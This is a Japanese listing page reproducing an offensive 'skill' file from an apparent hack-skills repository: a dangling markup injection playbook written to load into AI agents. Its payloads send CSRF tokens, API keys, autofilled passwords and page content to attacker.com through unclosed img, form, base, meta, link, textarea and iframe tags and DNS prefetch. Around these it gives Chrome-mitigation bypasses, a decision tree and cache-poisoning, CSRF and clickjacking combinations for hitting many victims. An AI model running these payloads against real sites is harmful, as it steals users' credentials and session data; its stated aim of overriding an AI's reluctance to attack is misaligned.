dangling-markup-injection
HTMLインジェクションは可能だがJavaScriptの実行がCSP・サニタイザー・WAFによってブロックされている場合に使用するプレイブック。閉じタグのない不完全なHTMLタグを注入することで、後続のページコンテンツを取り込み、CSRFトークン・セッションデータ・ページ内容などの機密情報を外部へ送信する。
description の原文を見る
>- Dangling markup injection playbook. Use when HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks script tags) — exfiltrate CSRF tokens, session data, and page content by injecting unclosed HTML tags that capture subsequent page content.
SKILL.md 本文
SKILL: Dangling Markup Injection — JavaScript なしで情報を流出させる
AI LOAD INSTRUCTION: 閉じられていない img/form/base/meta/link/table タグによる dangling markup 流出、盗める内容 (CSRF トークン、事前入力されたフォーム値、機密コンテンツ)、ブラウザ固有の動作、他の攻撃との組み合わせをカバーします。ベースモデルは CSP がスクリプトをブロックしている場合、この技術を見落としがちで「利用不可」と結論づけます — dangling markup がその答えです。
0. 関連ルーティング
xss-cross-site-scripting完全な XSS が可能な場合 (dangling markup の必要がない)csp-bypass-advancedCSP が JS 実行をブロックしている場合 — dangling markup はスクリプト制限をバイパスしますcsrf-cross-site-request-forgerydangling markup が CSRF トークンを盗んで後続の CSRF 攻撃を実行する場合crlf-injectionCRLF が HTTP レスポンスで HTML インジェクションを可能にする場合web-cache-deceptiondangling markup + キャッシュポイズニングが攻撃を増幅する場合
1. DANGLING MARKUP を使う時期
以下のすべてが当てはまる場合、dangling markup が必要です。
- HTML インジェクション地点がある (リフレクトまたはストアド)
- JavaScript 実行がブロックされている:
- CSP がインラインスクリプトとイベントハンドラをブロック
- サニタイザーが
<script>、onerror、onloadなどをストリップ - WAF が既知の XSS パターンをブロック
- ページに機密データが含まれている(インジェクション地点の後):
- CSRF トークン
- 事前入力されたフォーム値 (メール、ユーザー名、API キー)
- 隠しフィール内のセッション識別子
- 機密なユーザーコンテンツ
コアインサイト: データを流出させるのに JavaScript は不要です — ブラウザがそのデータを URL に含めて request を作るようにするだけです。
2. コア技術
src、href、action などの属性を持つ閉じられていない HTML タグをインジェクトし、そのマッピングをあなたのサーバーに向けます。閉じられていない属性クォート "は、ブラウザが一致するクォートを見つけるまで、その後のすべてのページコンテンツを "消費します"。
インジェクション前のページ:
<div>Hello USER_INPUT</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="user@target.com">
</form>
インジェクトされたペイロード:
<img src="https://attacker.com/collect?
結果の HTML:
<div>Hello <img src="https://attacker.com/collect?</div>
<form>
<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
<input type="text" name="email" value="user@target.com">
</form>
...次に一致するクォート (") までページの残り...
ブラウザは https://attacker.com/collect? から次の " までのすべてを URL として解釈します。隠されたCSRF トークンとメール値は、attacker.com に送信される URL クエリストリングの一部になります。
3. 流出ベクトル
3.1 Image タグ (最も一般的)
<!-- ダブルクォート コンテキスト -->
<img src="https://attacker.com/collect?
<!-- シングルクォート コンテキスト -->
<img src='https://attacker.com/collect?
<!-- バックティック コンテキスト (IE のみ、レガシー) -->
<img src=`https://attacker.com/collect?
ブラウザは、消費されたすべてのコンテンツをクエリパラメータとして attacker.com に GET リクエストを送信します。
ブロック対象: img-src CSP ディレクティブ
3.2 Form Action ハイジャック
<form action="https://attacker.com/collect">
<button>Click to continue</button>
<!--
ページにインジェクション地点の後に form 要素がある場合、次の </form> が攻撃者の form を閉じます。その間のすべての input フィールドが攻撃者の form の一部になり、ユーザーインタラクションで攻撃者に送信されます。
ブロック対象: form-action CSP ディレクティブ
トリック: ユーザーインタラクションがなくても、既存の submit ボタンまたは JavaScript オートサブミットがあれば、form は自動的に送信されます。
3.3 Base タグハイジャック
<base href="https://attacker.com/">
その後のページのすべての相対 URL が攻撃者のサーバーに解決されます:
<script src="/js/app.js">→https://attacker.com/js/app.jsをロード<a href="/profile">→https://attacker.com/profileにリンク<form action="/submit">→https://attacker.com/submitに送信
ブロック対象: base-uri CSP ディレクティブ
3.4 Meta リフレッシュ リダイレクト
<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?
ページ全体を攻撃者のサーバーにリダイレクトし、消費されたページコンテンツを URL に含めます。
ブロック対象: navigate-to CSP ディレクティブ (ほとんど設定されない)、CSP がある場合に一部のブラウザは meta リフレッシュを無視
3.5 Link/Stylesheet 流出
<link rel="stylesheet" href="https://attacker.com/collect?
ブラウザが URL を CSS リソースとしてリクエストし、消費されたコンテンツが流出します。
ブロック対象: style-src CSP ディレクティブ
3.6 Table Background (レガシー)
<table background="https://attacker.com/collect?
table 要素の background 属性をサポートしている古いブラウザで機能します。
ブロック対象: img-src CSP ディレクティブ
3.7 Video/Audio Poster
<video poster="https://attacker.com/collect?
<audio src="https://attacker.com/collect?
ブロック対象: media-src / img-src CSP ディレクティブ
4. 盗める内容
| ターゲットデータ | ページでの表示方法 | 盗む技術 |
|---|---|---|
| CSRF トークン | <input type="hidden" name="csrf" value="..."> | Dangling <img src= (form の前) |
| 事前入力メール | <input value="user@example.com"> | Dangling タグ (input の前) |
| ページ内の API キー | inline script 内の var apiKey = "sk-..." | Dangling タグ (script ブロックの前) |
| 隠しフィール内のセッション ID | <input name="session" value="..."> | Dangling タグ (form の前) |
| 自動入力パスワード | ブラウザが password フィールドを自動入力 | <form action=attacker> (一致する input 名) |
| OAuth state/トークン | URL パラメータまたは隠し form フィール | authorization ページで dangling タグ |
| 内部 URL/パス | リンク、スクリプトソース、API エンドポイント | <base> タグハイジャック (すべての相対 URL をキャプチャ) |
5. ブラウザ固有の動作
| ブラウザ | 動作 |
|---|---|
| Chrome/Chromium | <img> src 内の dangling markup をブロック (< または改行を含む) (Chrome 60 以降)。<form action>、<base>、<link> はまだ許可 |
| Firefox | image ソース内の dangling markup でより寛容。属性値内の改行を許可 |
| Safari | Chrome の制限に似ている。いくつかのエッジケースで異なる可能性 |
| Edge (Chromium) | Chrome と同じ動作 |
Chrome 緩和策の詳細
Chrome はブロック navigation/リソースロード (URL 属性値が以下を含む場合):
<文字 (HTML タグ消費を示す)- 改行文字 (
\n、\r)
バイパス: 代わりに <form action> を使用 — Chrome のブロックは特定のタグのみを対象とします。
6. 高度な技術
6.1 選別消費
クォート型を戦略的に選択: ページが属性に " を使用している場合、' でインジェクト (その逆も) して、消費がどこで停止するかを正確に制御します。
6.2 Textarea + Form コンボ
<form action="https://attacker.com/collect"><textarea name="data"> — 閉じられていない textarea は、その後のすべての HTML をプレーンテキストとして消費; form 送信それを攻撃者に送信します。
6.3 Comment / Style Dangling
<!--(終了-->なし) はすべてのコンテンツを消費 (流出なし、ページコンテンツを隠す)<style>未閉鎖はページを CSS として扱う;@import url("https://attacker.com/?で流出と組み合わせ
6.4 iframe 経由の Window.name
<iframe src="https://target.com/page" name=" — name 属性がコンテンツを消費し、window.name は navigation 後にオリジンを超えて永続化します。
7. 制限
| 制限 | 詳細 |
|---|---|
| 同一オリジンコンテンツのみ | Dangling markup は同じ HTTP レスポンスからのコンテンツのみをキャプチャ |
| クォートマッチング | 消費は次に一致するクォート文字で停止 — ターゲットデータに到達しない可能性 |
| CSP img-src/form-action | 厳密な CSP はほとんどの流出ベクトルをブロック可能 |
| Chrome の dangling markup 緩和 | URL に < または改行を含む <img src= をブロック |
| インジェクション地点はターゲットデータの前にあること | HTML ソース順でインジェクション後に表示されるコンテンツのみをキャプチャ |
| コンテンツエンコーディング | キャプチャされたコンテンツの URL 安全でない文字が変形する可能性 |
8. 組み合わせ攻撃
8.1 Dangling Markup + Open Redirect
1. <img src="https://target.com/redirect?url=https://attacker.com/collect? をインジェクト
2. target.com 上の open redirect が request を一部の CSP チェックで "同一オリジン" にする
3. リダイレクトが消費されたデータを攻撃者に送信
8.2 Dangling Markup + キャッシュポイズニング
1. リフレクト HTML インジェクション地点を見つける
2. dangling markup ペイロードをインジェクト
3. レスポンスがキャッシュされた場合、すべてのユーザーが dangling markup を見る
4. すべての被害者のトークン/データが流出
これはリフレクト インジェクションをストアド/永続的な攻撃に変えます。
8.3 Dangling Markup + CSRF
1. dangling markup を使用してページから CSRF トークンを盗む
2. 盗まれたトークンを使用して CSRF 攻撃を実行
3. トークンが適切に実装されていても CSRF を可能にする
8.4 Dangling Markup + Clickjacking
1. <form action="https://attacker.com/collect"><textarea name="data"> をインジェクト
2. ページをフレーム化 (frame-ancestors が許可する場合)
3. clickjacking オーバーレイで "Submit" をクリックするようユーザーをトリック
4. Form がキャプチャされたすべてのページコンテンツを攻撃者に送信
9. DANGLING MARKUP デシジョンツリー
HTML インジェクションは存在するが XSS がブロックされている (CSP/サニタイザー/WAF)?
│
├── インジェクションコンテキストを特定
│ ├── 属性値の内部? → まず抜け出す: "><img src="https://attacker.com/collect?
│ ├── タグコンテンツの内部? → 直接インジェクト: <img src="https://attacker.com/collect?
│ └── スクリプトブロックの内部? → スクリプトを閉じる: </script><img src="...
│
├── インジェクション地点の後に存在する機密データは?
│ ├── CSRF トークン → 高価値: トークンを盗む → CSRF 攻撃
│ ├── ユーザー PII (メール、名前) → データ盗難
│ ├── API キー / シークレット → アカウント侵害
│ ├── インジェクション地点の後に機密データなし → dangling markup は役に立たない
│ └── 別のページを確認 — インジェクションは機密データのあるページにあるかもしれない
│
├── CSP に基づいて流出ベクトルを選択
│ ├── CSP なし / lax CSP → <img src="... (最もシンプル)
│ ├── img-src が制限されている?
│ │ ├── form-action が非制限? → <form action="attacker"><textarea name=d>
│ │ ├── base-uri が非制限? → <base href="attacker">
│ │ └── style-src が非制限? → <link rel=stylesheet href="...
│ ├── すべてのディレクティブに厳密な CSP?
│ │ ├── meta refresh? → <meta http-equiv="refresh" content="0;url=attacker?
│ │ ├── DNS prefetch? → <link rel=dns-prefetch href="//data.attacker.com">
│ │ └── iframe 経由の Window.name? → <iframe name="...
│ └── 何も機能しない? → dangling markup がブロック、他のアプローチを試す
│
├── Chrome の dangling markup 緩和を処理
│ ├── ターゲットが Chrome を使用? → `<` または改行を含む `<img src=` を避ける
│ ├── 代わりに `<form action=>` を使用 (ブロックされない)
│ ├── `<base href=>` を使用 (ブロックされない)
│ └── Firefox でテスト (より寛容)
│
├── 最大キャプチャのためにクォート型を選択
│ ├── ターゲットデータはダブルクォートを使用? → シングルクォートでインジェクト: <img src='...
│ ├── ターゲットデータはシングルクォートを使用? → ダブルクォートでインジェクト: <img src="...
│ └── 混合クォート? → 両方をテスト、どちらがより有用なデータをキャプチャするか確認
│
└── 増幅
├── レスポンスがキャッシュされた? → キャッシュポイズン → 複数の被害者から盗む
├── ストアドインジェクション? → ページビューのたびに流出
└── リフレクトのみ? → フィッシングリンク経由で配信
10. トリックノート — AI モデルが見落とすもの
- Dangling markup は CSP がスクリプトをブロックしても HTML インジェクションが存在する場合の答えです。 XSS で訓練されたモデルは、CSP が厳密である場合、「利用不可」と結論づけることが多い — dangling markup は JavaScript を必要としません。
- Chrome の緩和はタグ固有で、ユニバーサルではありません:
<img src=は緩和されますが、<form action=、<base href=、<meta http-equiv=refresh>はそうではありません。常に代替ベクトルを試してください。 - クォート型選択は重要: ページが属性に
"を使用している場合、'でインジェクト (またはその逆) して、消費がどこで停止するかを正確に制御します。間違ったクォート型 = 無用なコンテンツのキャプチャまたは何もキャプチャしない。 - インジェクション地点の配置は極めて重要: インジェクションは HTML ソースでターゲットデータの前に表示される必要があります。CSRF トークンがインジェクション地点の上にある場合、dangling markup はそれをキャプチャできません。
<textarea>は最も過小評価されたベクトル: 閉じられていない textarea はその後のすべての HTML をプレーンテキストとして消費します。form action ハイジャックと組み合わせると、img-src が制限されている場合、最も信頼性の高い方法です。- Window.name はオリジンを超えて永続化: iframe をインジェクトできる場合、
name属性技術は強力です。なぜならwindow.nameは跨オリジンナビゲーション後に生き残る — 稀なクロスオリジンデータチャネルです。 - DNS prefetch 流出は厳密な CSP でも機能:
<link rel=dns-prefetch href="//stolen-data.attacker.com">は DNS ルックアップをトリガーし、CSP はそれをブロックできません。ラベルあたり ~253 文字に制限されていますが、トークンに十分です。
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
doubt-driven-development
重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。
apprun-skills
TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。
desloppify
コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。
debugging-and-error-recovery
テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。
test-driven-development
テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。
incremental-implementation
変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。